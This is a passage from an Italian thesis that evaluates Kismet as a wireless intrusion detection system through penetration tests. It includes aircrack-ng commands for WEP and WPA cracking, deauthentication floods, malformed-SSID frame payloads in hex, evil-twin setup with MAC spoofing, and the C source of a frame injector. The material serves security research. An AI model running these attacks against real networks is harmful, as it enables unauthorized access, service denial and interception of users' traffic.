direttamente dal trunk svn. apt−g e t i n s t a l l a i r c r a k −ng
  • 72. 5.3 Penetration test 65 5.3 Penetration test Valutare un sistema implica sottoporlo a delle verifiche sperimentali pertan- to descriviamo una serie di penetration test per valutare l’utilizzo di Kismet come Wireless IDS; in ogni caso precisiamo come le strategie d’attacco che illustreremo rappresentino solamente alcune delle numerosissime varianti de- scritte in letteratura e, sostanzialmente, la loro scelta deriva da un fattore di gusto personale. Innanzitutto proporremo il cracking sia di una chiave WEP sia di una WPA-PSK (TKIP) per rimarcare quanto vane possano risultare tali prote- zioni se implementate in maniera inadeguata. 5.3.1 WEP cracking Abbiamo pi` volte sottolineato come WEP, a prescindere dalla dimensione u e dalla robustezza della chiave, sia un protocollo talmente disastroso da non garantire nessuna delle tre condizioni (confidentiality, integrity e availabili- ty) espresse in sez. 1.1. Per dimostrare questa affermazione violeremo un access point con cifratura WEP a 128 bit, il massimo consentito dallo stan- dard originale, che usufruisce di una chiave estremamente resistente quale ?=V3ry:Str0ng. Nell’ambito della crittografia classica sarebbe improponibile decifrare l’hash prodotto da tale chiave. Il primo passo consiste nel porre in modalit` RFMON la scheda WLAN, a operazione semplificata da airmon-ng, parte del pacchetto aircrack: airmon−ng s t o p ath0 airmon−ng s t a r t w i f i 0 Il WEP cracking ` incentrato sull’analisi dei pacchetti cifrati perci` dovre- e o mo abilitare lo sniffer airodump-ng; in particolare, per evitare di catturare
  • 73. 66 Verifiche sperimentali pacchetti di altre reti per noi prive d’interesse, specifichiamo sia il canale (il sesto, nel nostro caso) sia il BSSID dell’access point: airodump−ng −c 6 −−b s s i d 0 0 : 1 7 : 9A: 7C : E3 : 1D −w data ath0 Per accellerare il processo ricorreremo ad un ARP injection in cui, sostan- zialmente, forzeremo l’access point a trasmettere ripetutamente e rapidamen- te un certo payload dati, cifrandolo ogni volta con un diverso IV. Otteniamo questo eseguendo, ognuno in una shell separata, i seguenti comandi: a i r e p l a y −ng −3 −b 0 0 : 1 7 : 9A: 7C : E3 : 1D −h 0 0 : 1 4 : 7 8 : 1 0 : C8 : 5 5 ath0 a i r e p l a y −ng −0 1 −a 0 0 : 1 7 : 9A: 7C : E3 : 1D −c 0 0 : 1 4 : 7 8 : 1 0 : C8 : 5 5 ath0 a i r c r a c k −ng −z data −01. cap Figura 5.2: Cracking chiave WEP128 Aireplay ` il tool di injection della suite aircrack. Questa sequenza e di operazioni prepara aireplay-ng all’intercettazione e all’injection di ARP
  • 74. 5.3 Penetration test 67 request, generata forzando la ri-autenticazione del client con MAC address 00:14:78:10:C8:55; l’ultimo comando parallelizza alle precedenti attivit` il a cracking tramite l’attacco PTW [18]. PTW ` un procedimento estremamente e potente, capace di recuperare una chiave a 128 bit con soli 40.000 frame; metodi precedenti, al contrario, potevano richiederne anche oltre due milioni. Abbiamo decifrato la chiave WEP in soli 98 secondi (vd. Figura 5.2) e Kismet non ha noticato nessun alert. 5.3.2 WPA cracking Come abbiamo osservato in sez. 3.3, l’handshake di associazione dello stan- dard WPA 1&2 ` vulnerabile ad attacchi a dizionario e, in conseguenza, la e chiave deve osservare rigide norme di dimensione (16-20 caratteri) e com- plessit` (alfanumerica pi` simboli quali !$ %-&?). Verifichiamo i rischi de- a u rivanti dall’utilizzo di password semplici quale, ad esempio, bianconatale. Per intercettare l’hash da decifrare abbiamo, essenzialmente, due possibilit`: a forzare un client ad eseguire una ri-associazione o aspettarne una nuova; sce- gliamo la prima opzione, decisamente pi` rapida ma prona, potenzialmente, u al rilevamento da parte di un WIDS. Impostiamo nuovamente la modalit` RFMON e attiviamo airodump, a quindi deautentichiamo il client 00:14:78:10:C8:55: airmon−ng s t o p ath0 airmon−ng s t a r t w i f i 0 airodump−ng −c 6 −−b s s i d 0 0 : 1 7 : 9A: 7C : E3 : 1D −w data ath0 a i r e p l a y −ng −0 10 −a 0 0 : 1 7 : 9A: 7C : E3 : 1D −c 0 0 : 1 4 : 7 8 : 1 0 : C8 : 5 5 ath0 Se non ci sono stati errori, airodump ha catturato l’handshake; pro- cediamo alla decifrazione dell’hash adoperando un qualsiasi dizionario per password italiane, disponibile ad esempio presso www.insidepro.com.
  • 75. 68 Verifiche sperimentali wget www. i n s i d e p r o . com/ download / d i c t i o n a r y i t a l i a n . z i p unzip d i c t i o n a r y i t a l i a n . zip a i r c r a c k −ng −w i t a l i a n . d i c t −b 0 0 : 1 7 : 9A: 7C : E3 : 1D data −01. cap Il nostro intruso, una macchina Turion64 1.6Ghz dual-core, verifica ap- prossimativamente 200 chiavi al secondo e ha riscontrato una corrispondenza in 3 minuti e 53 secondi (vd. Figura 5.3). Kismet notifica un flood di deau- tenticazioni ma non tenta nessuna interpretazione aggiuntiva sulle cause in quanto, inoltre, l’intercettazione dell’handshake ` puramente passiva. e Figura 5.3: Cracking chiave WPA 5.3.3 Disconnessioni/Deautenticazioni In realt` abbiamo gi` indotto numerose deautenticazioni e disassociazioni a a perpetrando gli attacchi precedenti. Con aireplay i DOS flood sono un’ope- razione piuttosto banale; abilitata RFMON ` sufficiente eseguire: e a i r e p l a y −ng −0 X −a 0 0 : 1 7 : 9A: 7C : E3 : 1D −c 0 0 : 1 4 : 7 8 : 1 0 : C8 : 5 5 ath0
  • 76. 5.3 Penetration test 69 in cui X rappresenta la dimensione del flood. Una deautenticazione in modalit` broadcast, viceversa, ` generabile a e semplicemente omettendo il parametro -c MAC. 5.3.4 0-length e long SSID Manipolare il campo identificativo del SSID con valori fuori dagli standard ` una delle pratiche pi` comuni per causare buffer overflow e/o per tenta- e u re un hacking all’interfaccia di un WIDS (vd. sez. 4.1.3 e 4.2.6). Tra le varie modalit` per alterare un frame e attuare questi e altri attacchi avan- a zati presenteremo due soluzioni, la prima basata su LORCON mentre la seconda tramite Simple Injector. Simple Injector ` un software sviluppato e durante questa tesi per agevolare injection arbitrari in quelle situazioni in cui le librerie LORCON esibiscono malfunzionamenti e/o instabilit`, come a riscontrato, ad esempio, nelle due macchine con kernel 2.6.23 (attualmente l’ultima versione) usate nei test. Simple Injector, scritto interamente in C e rilasciato sotto GPLv3, si appoggia direttamente sulle system call del kernel Linux, evidenziando ottime prestazioni e potenzialit`. Per i sorgenti si veda a l’Appendice A. LORCON Attualmente LORCON non ` disponibile come pacchetto, perci` per in- e o stallarlo ` necessario agire sul trunk svn e procedere ad una compilazione e manuale: svn co h t t p : / / 8 0 2 . 1 1 n i n j a . n e t / svn / l o r c o n / trunk cd trunk . / c o n f i g u r e −−p r e f i x =/u s r make && make i n s t a l l
  • 77. 70 Verifiche sperimentali A meno di errori per dipendenze non soddisfatte, dovrebbe essere pos- sibile visualizzare la man-page di LORCON (man lorcon). Per eseguire un semplice injection di frame con long SSID ` sufficiente riutilizzare il pro- e gramma C di sez. 4.2.6, sostituendo al codice riportato nel primo box quello presente nel secondo: u i n t 8 t p a c k e t [ ] = ” xc4 x00 x f f x 7 f x00 x13 xce x55 x98 x e f ” ; u n s i g n e d c h a r beacon [ ] = { 0 x80 , // Beacon frame 0 x00 , // Bit−F l a g s 0 x00 , 0 x00 , // Duration time 0 x f f , 0 x f f , 0 x f f , 0 x f f , 0 x f f , 0 x f f , // D e s t i n a z i o n e 0 x00 , 0 x11 , 0 x22 , 0 x33 , 0 x44 , 0 x55 , // S o r g e n t e 0 x00 , 0 x11 , 0 x22 , 0 x33 , 0 x44 , 0 x55 , // BSSID 0 xc0 , 0x2d , // Fragment 0 x92 , 0 xc1 , 0xb3 , 0 x30 , // Timestamp 0 x00 , 0 x00 , 0 x00 , 0 x00 , 0 x64 , 0 x00 , // I n t e r v a l l o 0 x11 , 0 x00 , // C a p a b i l i t y 0 x00 , 0 x38 , // SSID ( 5 5 ) ’ a ’ , ’ n ’ , ’O ’ , ’ u ’ , ’ t ’ , ’O ’ , ’ f ’ , ’B ’ , // SSID : ’o ’ , ’u ’ , ’n ’ , ’d ’ , ’ s ’ , ’S ’ , ’S ’ , ’ I ’ , ’D ’ , ’− ’ , ’ c ’ , ’ a ’ , ’ n ’ , ’Y ’ , ’ o ’ , ’ u ’ , ’ S ’ , ’ e ’ , ’ e ’ , ’H ’ , ’ o ’ , ’w ’ , ’L ’ , ’ o ’ , ’n ’ , ’g ’ , ’ I ’ , ’ s ’ , ’ I ’ , ’ t ’ , ’ ? ’ , ’ I ’ , ’ t ’ , ’ I ’ , ’ s ’ , ’ 5 ’ , ’ 6 ’ , ’C ’ , ’ h ’ , ’ a ’ , ’ r ’ , ’a ’ , ’c ’ , ’ t ’ , ’e ’ , ’ r ’ , ’ s ’ , ’ ! ’ }; Simple Injector Simple Injector permette di effetturare la medesima operazione prelevando da un file binario i dati da trasmettere; la sintassi d’esecuzione ` la seguente: e
  • 78. 5.3 Penetration test 71 Usage : s i m p l e i n j e c t o r − i INTERFACE −f FILE [− d f ] | [−hv ] −d : c h o o s e a d e l a y i n s e c o n d s between two p a c k e t s ( d e f a u l t : 1 s ) −n : c h o o s e how many p a c k e t s have t o send ( d e f a u l t : 1 0 ) −h : p r i n t t h i s h e l p −v : p r i n t program v e r s i o n Impostata manualmente la modalit` RFMON, l’esempio precedente ` pi` a e u semplicemente ripetibile tramite: . / s i m p l e i n j e c t o r − i ath0 −f longSSID . b i n dove longSSID ` un file, preparabile con un qualsiasi editor esadecimale, e il cui contenuto ` riportato a seguire: e 80 00 00 00 ff ff ff ff ff ff 00 11 22 33 44 55 00 11 22 33 44 55 c0 2d 92 c1 b3 30 00 00 00 00 64 00 11 00 00 38 61 6e 4f 75 74 4f 66 42 6f 75 6e 64 73 53 53 49 44 2d 63 61 6e 59 6f 75 53 65 65 48 6f 77 4c 6f 6e 67 49 73 49 74 3f 49 74 49 73 35 36 43 68 61 72 61 63 74 65 72 73 21 In Figura 5.4 controlliamo l’effettiva esecuzione dell’injection, intercettato con Wireshark. Osserviamo che le potenzialit` esprimibili con questi stru- a menti sono limitati solamente dalla nostra immaginazione; ad esempio po- tremmo effettuare un 0-lenght SSID attack, generando un frame di probe response con SSID di dimensione nulla, tipicamente fatale per molti access point: 50 00 3a 01 00 20 a6 4c 43 d0 00 06 25 0c 67 7a 00 06 25 0c 67 7a 40 5f ad d2 9e 17 04 00 00 00 64 00 01 00 00 00 08 4e 4f 53 53 49 44 01 04 82 84 0b 16 03 01 0b 00 Questi due alterazioni, in particolare, sono rilevabili mediante Kismet; tutta- via anche qualsiasi altra sequenza di bytes ` potenzialmente fonte di exploit e
  • 79. 72 Verifiche sperimentali e Simple Injector (o tools similari) ne permette una facile ed immediata ese- cuzione. Ovviamente sono effettuabili anche tutti gli attacchi presentati in sez. 4.2 come, ad esempio, il duration attack. Figura 5.4: Injection con Simple Injector su Wireshark 5.3.5 Evil-Twin Ad alcuni sembrer` incredibile quanto sia facile perpetrare un Evil-Twin. A a rimarcare questo paradosso (rammentiamo che Evil-Twin ` uno degli attacchi e pi` pericolosi) questa trattazione non utilizzer` alcun strumento esterno, u a limitandosi ai programmi base della distribuzione GNU/Linux.
  • 80. 5.3 Penetration test 73 Innanzitutto installiamo macchanger in quanto il MAC spoofing con i driver madwifi necessita di un procedimento leggermente pi` articolato. u apt−g e t i n s t a l l macchanger Ora eliminiamo il VAP corrente (Virtual Access Point, ath0 nel nostro caso), l’interfaccia fittizia impiegata per simulare pi` schede WLAN, e disa- u bilitiamo il protocollo IP sulla connessione fisica alla WLAN (wifi0); proce- diamo cambiando il mac address con quello dell’access point che desideriamo emulare e riattiviamo lo strato IP. w l a n c o n f i g ath0 d e s t r o y i p l i n k s e t dev w i f i 0 down macchanger −−mac = 0 0 : 1 7 : 9A: 7C : E3 : 1D w i f i 0 i p l i n k s e t dev w i f i 0 up Concludiamo la procedura ricreando un VAP in modalit` ap e impostan- a do lo stesso SSID del nostro obiettivo. Se in una determinata zona il nostro segnale ` pi` forte, ad esempio perch` potenziato da un’antenna esterna, i e u e clients tenderanno a connettersi al nostro access point fittizio piuttosto che a quello legittimo. In alternativa possiamo anche stimolarli con flood di dissassociazione, costringendoli ad autenticarsi alla nostra stazione. w l a n c o n f i g ath0 c r e a t e wlandev w i f i 0 wlanmode ap i w c o n f i g ath0 e s s i d SSID I sensori di Kismet, tuttavia, rilevano non solo la presenza di un nuovo access point ma notificano anche un alert in quanto percepiscono nella tra- smissione su un diverso canale con un precedente medesimo MAC address il pericolo di man in the middle. In definitiva questi test hanno evidenziato come Kismet mantenga le proprie promesse ma, tuttavia, hanno anche sottolineato quante ulteriori
  • 81. 74 Verifiche sperimentali possibilit` siano a disposizione di aggressori tecnicamente e tecnologicamen- a te preparati. Kismet, pertanto, fornisce attualmente un supporto troppo limitato per quegli ambiti aziendali e/o governativi che devono assicurare un grado di sicurezza medio/elevato ma, viceversa, ` perfetto in tutte quelle e modeste realt` SOHO cos` numerose nel nostro paese. a ı
  • 82. Conclusioni Operare in ambiente wireless ` estremamente difficile. In questa tesi abbiamo e evidenziato le nuove problematiche introdotte dalla diffusione delle tecnolo- gie IEEE 802.11 e, in particolare, abbiamo dimostrato il superamento delle teorie classiche in materia di sicurezza. Il conseguente vuoto teorico ` am- e piamente provato dalla mancanza di strumenti di rilevamento e monitoraggio efficaci, attualmente in stadi post-embrionali, e non pu` essere colmato dai o soli standard di protezione, malgrado questi siano notevolmente migliorati negli anni (TKIP, CCMP). In aggiunta il mezzo radio, per sua stessa natura non confinabile fisicamente ed accessibile a chiunque, trasforma tali siste- mi in meccanismi indispensabili anche in contesti nei quali non sia prevista l’integrazione della preesistente rete cablata con una WLAN. Sebbene l’importanza di questi sistemi sia ormai riconosciuta, al mo- mento non sussistono soluzioni paragonabili alle controparti su rete fissa. In particolare il settore open source, sostanzialmente rappresentato dal solo Kismet, ha accumulato un notevole ritardo rispetto a software commerciali quali, ad esempio, AirDefense (www.airdefense.net) e OmniPeek/AiroPeek (www.wildpackets.com) che forniscono prodotti meglio integrati e pi` intui- u tivi. Kismet, nonostante gli sforzi, mantiene ancora indiscutibilmente la sua veste di scanner mentre le funzionalit` di rilevamente sono piuttosto limitate a e spesso obsolete. I test effettuati confermano queste affermazioni. Questo scenario, in continua evoluzione, delinea innumerevoli possibili sviluppi futuri. Tra gli altri segnaliamo la progettazione e l’implementazione
  • 83. 76 Conclusioni di un’architettura integrata che riunisca in un unico prodotto gli aspetti di monitoraggio, analisi e interfaccia utente. Inoltre potrebbe essere molto interessante approfondire nuovi algoritmi di analisi per le anomalie tipiche dell’ambiente wireless quali, ad esempio, quelli basati sui dati GPS descritti in questo elaborato. In ogni caso nei prossimi anni la pervasivit` di dispositivi wireless di ogni a genere imporr` al mercato la diffusione di sistemi WIDS e, soprattutto, una a sempre crescente richiesta di personale altamente qualificato che, osserviamo, nel nostro paese ` attualmente insufficiente. e
  • 84. Appendice A Simple Injector - Sorgenti /∗ ∗ Simple−I n j e c t o r − a b a s i c i n j e c t o r o f b i n a r y f i l e s on 802.11 networks ∗ ∗ C o p y r i g h t 2007 Marco F r i s o n <marco . f r i s o n @ s t u d i o . u n i b o . i t > ∗ Based on a p r e v i o u s work o f Yury B u l y g i n <y u r i v . b u l y g i n @ i n t e l . com> ∗ ∗ Simple−I n j e c t o r i s f r e e s o f t w a r e : you can r e d i s t r i b u t e i t and/ or modify ∗ i t under t h e terms o f t h e GNU General P u b l i c L i c e n s e as p u b l i s h e d by ∗ t h e Free S o f t w a r e Foundation , e i t h e r v e r s i o n 3 o f t h e L i c e n s e , or ∗ ( a t your o p t i o n ) any l a t e r v e r s i o n . ∗ ∗ Simple−I n j e c t o r i s d i s t r i b u t e d i n t h e hope t h a t i t w i l l be useful , ∗ b u t WITHOUT ANY WARRANTY; w i t h o u t even t h e i m p l i e d warranty o f ∗ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
  • 85. 78 Simple Injector - Sorgenti the ∗ GNU General P u b l i c L i c e n s e f o r more d e t a i l s . ∗ ∗ You s h o u l d have r e c e i v e d a copy o f t h e GNU General P u b l i c License ∗ a l o n g w i t h t h i s program . I f not , s e e <h t t p : / /www. gnu . o r g / l i c e n s e s />. ∗ ∗/ #i n c l u d e <s t d i o . h> #i n c l u d e < s t d l i b . h> #i n c l u d e <u n i s t d . h> #i n c l u d e < f c n t l . h> #i n c l u d e <s t r i n g . h> #i n c l u d e < s t r i n g s . h> #i n c l u d e <e r r n o . h> #i n c l u d e <s y s / s o c k e t . h> #i n c l u d e <arpa / i n e t . h> #i n c l u d e <l i n u x / i f a r p . h> #i n c l u d e <s y s / i o c t l . h> #d e f i n e MAXREAD 2312 #d e f i n e DEFAULTDELAY 1 #d e f i n e DEFAULTTOSEND 10 #d e f i n e VERSION ” 1 . 0 ” int sockfd ; /∗ program ’ s h e l p ∗/ void p r i n t h e l p ( ) { f p r i n t f ( stdout , ” Usage : s i m p l e i n j e c t o r − i INTERFACE −f FILE [− d f ] | [−hv ] n” ” t −d : c h o o s e a d e l a y i n s e c o n d s between two p a c k e t s ( d e f a u l t : 1 s ) n”
  • 86. 79 ” t −n : c h o o s e how many p a c k e t s have t o send ( d e f a u l t : 1 0 ) n” ” t −h : p r i n t t h i s h e l p n” ” t −v : p r i n t program v e r s i o n n” ); exit (0) ; } /∗ program ’ s v e r s i o n i n f o r m a t i o n ∗/ void p r i n t v e r s i o n ( ) { f p r i n t f ( stdout , ” Simple−I n j e c t o r v e r s i o n %s n” ” Written by Marco F r i s o n <marco . f r i s o n @ s t u d i o . unibo . i t > nn” , VERSION) ; exit (0) ; } /∗ ∗ error function handler ∗ @msg −> e r r o r p o i n t i d e n t i f i e r ∗/ v o i d o n e r r o r ( c h a r ∗msg ) { // p r i n t t h e e r r o r p e r r o r ( msg ) ; // c l o s e t h e s o c k e t close ( sockfd ) ; e x i t ( −1) ; } i n t main ( i n t argc , c h a r ∗ argv [ ] ) { struct ifreq i f r ; s t r u c t s o c k a d d r l l saddr ; int f i l e f d , data sent , size , i ; i n t d e l a y = DEFAULTDELAY, t o s e n d = DEFAULTTOSEND; c h a r ∗ i n t e r f a c e = NULL, ∗ f i l e n a m e = NULL;
  • 87. 80 Simple Injector - Sorgenti unsigned char ∗ b u f f e r ; // i n p u t params c h e c k w h i l e ( ( i = g e t o p t ( argc , argv , ”h? i : f : d : n : v” ) ) != EOF ) { switch ( i ) { case ’ i ’ : i n t e r f a c e = optarg ; break ; case ’ f ’ : filename = optarg ; break ; case ’d ’ : delay = a t o i ( optarg ) ; break ; case ’n ’ : to send = a t o i ( optarg ) ; break ; case ’v ’ : print version () ; break ; case ’h ’ : default : print help () ; } } // c h e c k i n t e r f a c e and f i l e n a m e params i f ( i n t e r f a c e == NULL | | f i l e n a m e == NULL) { f p r i n t f ( s t d o u t , ” E r r o r ! S e l e c t an i n t e r f a c e and a f i l e n” ) ; print help () ; e x i t ( −1) ; } // g e t i n t e r f a c e i n d e x ( must open a s o c k e t f i r s t ! ) i f ( ( s o c k f d = s o c k e t ( PF INET , SOCK DGRAM, 0 ) ) < 0 ) {
  • 88. 81 on error (” socket () ”) ; } // g e t t i n g i t , j u s t a w h i l e b z e r o (& i f r , s i z e o f ( i f r ) ) ; strcpy ( i f r . ifr name , i n t e r f a c e ) ; i f ( i o c t l ( s o c k f d , SIOCGIFINDEX , & i f r ) ) { on error (” i o c t l () ”) ; } // open a raw s o c k e t i f ( ( s o c k f d = s o c k e t (PF PACKET, SOCK RAW, h t o n s ( ETH P ALL) ) ) < 0 ) { on error (” socket () ”) ; } /∗ ∗ p u l i s h d a t a and s e t s s l i f i n d e x t o f i l t e r p a c k e t s ∗ form s o u r c e s d i f f e r e n t from t h e choosen i n t e r f a c e ∗/ b z e r o (&saddr , s i z e o f ( s a d d r ) ) ; s a d d r . s l l f a m i l y = AF PACKET; saddr . s l l i f i n d e x = i f r . i f r i f i n d e x ; // b i n d i n g i f ( bind ( s o c k f d , ( s t r u c t s o c k a d d r ∗ )&saddr , s i z e o f ( saddr ) ) < 0) { o n e r r o r ( ” bind ( ) ” ) ; } // read t h e b i n a r y d a t a − 1 s t open t h e f i l e i f ( ( f i l e f d = open ( f i l e n a m e , O RDONLY) ) < 0 ) { o n e r r o r ( ” open ( ) ” ) ; } /∗
  • 89. 82 Simple Injector - Sorgenti ∗ rea d a t max t h e f i r s t MAXREAD b y t e s , ∗ upperbound f o r E t h e r n e t l a y e r ∗/ b u f f e r = ( unsigned char ∗) malloc ( s i z e o f ( unsigned char ) ∗ MAXREAD) ; i f ( ( s i z e = r e a d ( f i l e f d , b u f f e r , MAXREAD) ) < 1 ) { close ( f i l e f d ) ; o n e r r o r ( ” read ( ) ” ) ; } close ( f i l e f d ) ; // send d a t a t o s e n d t i m e s f o r ( i = 0 ; i < t o s e n d ; i ++) { // t r y t o send i f ( ( data sent = sendto ( sockfd , buffer , size , 0 , NULL, 0 ) ) < 0 ) { o n e rr or ( ” sendto ( ) ” ) ; } p r i n t f ( ” Sent frame %d o f %d b y t e s n” , ( i +1) , data sent ) ; // hard work , s l e e p f o r a w h i l e sleep ( delay ) ; } p r i n t f ( ” I n j e c t i o n end n” ) ; close ( sockfd ) ; return 0; }
  • 90. Appendice B Wardriving - Note legali La legislazione italiana ` particolarmente confusa e imprecisa riguardo i com- e portamenti penalmente perseguibili in ambito informatico. In linea di prin- cipio il wardriving e qualunque altra attivit` di scanning non ` considerata a e illegale se non ` diretta a compiere un reato, inteso come rallentamento, in- e terruzione e privazione di servizio o accesso abusivo allo stesso in accordo con gli articoli 615-ter, 617-quater, 617-quinquies del codice penale (legge n. 547 del 23 Dicembre 1993). In particolare si osservi che l’accesso a una rete non protetta non configura il reato di accesso abusivo a sistema informati- co o telematico in quanto la stessa non prevede misure di sicurezza attive (art. 615-ter); tuttavia l’utilizzo effettivo della banda senza una preventi- va autorizzazione pu` ricadere nella definizione di rallentamento di servizio o e, inoltre, l’utilizzo per scaricare o diffondere materiale pedopornografico o protetto dal diritto d’autore o per danneggiare altri sistemi informatici pro- muove l’applicazione degli articoli 600-ter, 494 e 635-bis del codice penale e la legge 171 sul diritto d’autore. In questo quadro indistinto, uno scanning attivo, imponendo un utiliz- zo seppure minimo di banda a tutti soggetti coinvolti, pu` essere conforme o alla definizione di rallentamento di servizio. Tutte le tecnologie passive, di-
  • 91. 84 Wardriving - Note legali versamente, sono equiparabili all’ascolto involontario di una conversazione pubblica trasmessa in un mezzo condiviso (l’aria) e, in generale, non sanzio- nabili. In ogni caso ` compito del tribunale valutare, caso per caso, la liceit` e a o meno di queste attivit`. a Tutti i test eseguiti in questa tesi sono stati attuati in modalit` esclusi- a vamente passiva e gli ulteriori dati pervenuti distrutti.
  • 92. Appendice C GNU Free Documentation License Version 1.2, November 2002 Copyright c 2000,2001,2002 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The purpose of this License is to make a manual, textbook, or other func- tional and useful document “free” in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preser- ves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
  • 93. 86 GNU Free Documentation License This License is a kind of “copyleft”, which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. C.1 Applicability and definitions This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty- free license, unlimited in duration, to use that work under the conditions stated herein. The “Document”, below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as “you”. You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. A “Modified Version” of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language. A “Secondary Section” is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document’s overall subject (or to rela- ted matters) and contains nothing that could fall directly within that overall
  • 94. C.1 Applicability and definitions 87 subject. (Thus, if the Document is in part a textbook of mathematics, a Se- condary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The “Invariant Sections” are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The “Cover Texts” are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. A “Transparent” copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not “Transparent” is called “Opaque”. Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML,
  • 95. 88 GNU Free Documentation License PostScript or PDF designed for human modification. Examples of transpa- rent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only. The “Title Page” means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, “Title Page” means the text near the most prominent appearance of the work’s title, preceding the beginning of the body of the text. A section “Entitled XYZ” means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses follo- wing text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as “Acknowledgements”, “Dedications”, “Endorsements”, or “History”.) To “Preserve the Ti- tle” of such a section when you modify the Document means that it remains a section “Entitled XYZ” according to this definition. The Document may include Warranty Disclaimers next to the notice whi- ch states that this License applies to the Document. These Warranty Disclai- mers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License. C.2 Verbatim copying You may copy and distribute the Document in any medium, either commer- cially or noncommercially, provided that this License, the copyright notices,
  • 96. C.3 Copying in quantity 89 and the license notice saying this License applies to the Document are re- produced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distri- bute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies. C.3 Copying in quantity If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document’s license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent co- py along with each Opaque copy, or state in or with each Opaque copy
  • 97. 90 GNU Free Documentation License a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin di- stribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document. C.4 Modifications You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version: A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all
  • 98. C.4 Modifications 91 of its principal authors, if it has fewer than five), unless they release you from this requirement. C. State on the Title page the name of the publisher of the Modified Version, as the publisher. D. Preserve all the copyright notices of the Document. E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices. F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below. G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document’s license notice. H. Include an unaltered copy of this License. I. Preserve the section Entitled “History”, Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled “History” in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence. J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the “History” section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
